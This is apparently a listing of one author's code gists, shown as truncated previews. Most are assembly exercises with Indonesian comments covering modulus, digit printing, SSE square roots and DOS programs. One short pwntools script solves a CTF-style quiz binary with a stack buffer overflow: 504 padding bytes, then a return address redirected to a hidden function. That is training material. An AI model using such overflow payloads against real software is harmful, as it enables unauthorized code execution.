This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; ini contoh modulus, contoh p % i | |
; | |
; hasilnya di edx | |
global _start | |
section .text | |
_start: | |
mov ebx, 3 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
org 100h | |
mov di, 4 | |
inc al | |
add al, 30h | |
mov ah, 0eh | |
jmp _cetak | |
_loop: | |
inc al | |
_cetak: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// (c) 2021 - Febriyanto Nugroho | |
// compile dengan : gcc -o sqrt-SSE sqrt-SSE.c -masm=intel | |
#include <stdio.h> | |
int main(void) { | |
int nilai = 5; | |
__asm__ __volatile__("cvtsi2sd xmm0, ebx\n" | |
"sqrtsd xmm0, xmm0\n" | |
"cvttsd2si ebx, xmm0\n" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;; (c) 2021 - Febriyanto Nugroho | |
global _start | |
section .text | |
_start: | |
; sqrt(n); | |
mov ebx, 5 ; n |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Download quiz : https://gnuweeb.org/quiz/003 | |
from pwn import * | |
a = process("./003") | |
sec_func = p64(0x04010B9) | |
payload = "\x41" * 504 + "\xff" * 8 + sec_func | |
a.sendline(payload) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; assembling using FASM on DOSBox | |
; fasm.exe utltu.asm | |
; utltu.com | |
; | |
; (c) 2021 Febriyanto Nugroho <[email protected]> | |
org 100h | |
mov ah, 09h | |
mov dx, pesan |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; -- program input 2 digit angka lalu dijumlahkan -- | |
; | |
; catatan: | |
; | |
; program ini langsung input 2 digit angka, karena bukan "buffered input" | |
; dan gak ada kondisi untuk input "0dh" (enter) | |
; | |
; compile pake nasm : nasm add.asm -o add.com | |
; | |
; ----------------------------------------------------------------------- |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; bikin program .EXE | |
; | |
; caranya : | |
; | |
; C:\> tasm BAJU | |
; C:\> tlink BAJU | |
; | |
; jalanin programnya : | |
; | |
; C:\> BAJU |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; bikin program .EXE compile dengan : | |
; | |
; C:\> tasm aa2 | |
; C:\> tlink aa2 | |
; | |
; | |
; belum di fix, masih ada bug | |
.model small | |
.stack 200h |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
; TODO: belum di test, mungkin broken (?) | |
global _start | |
section .text | |
_start: | |
mov ecx, 0xc0000082 | |
rdmsr | |
mov edx, 32 | |
mov ecx, edx |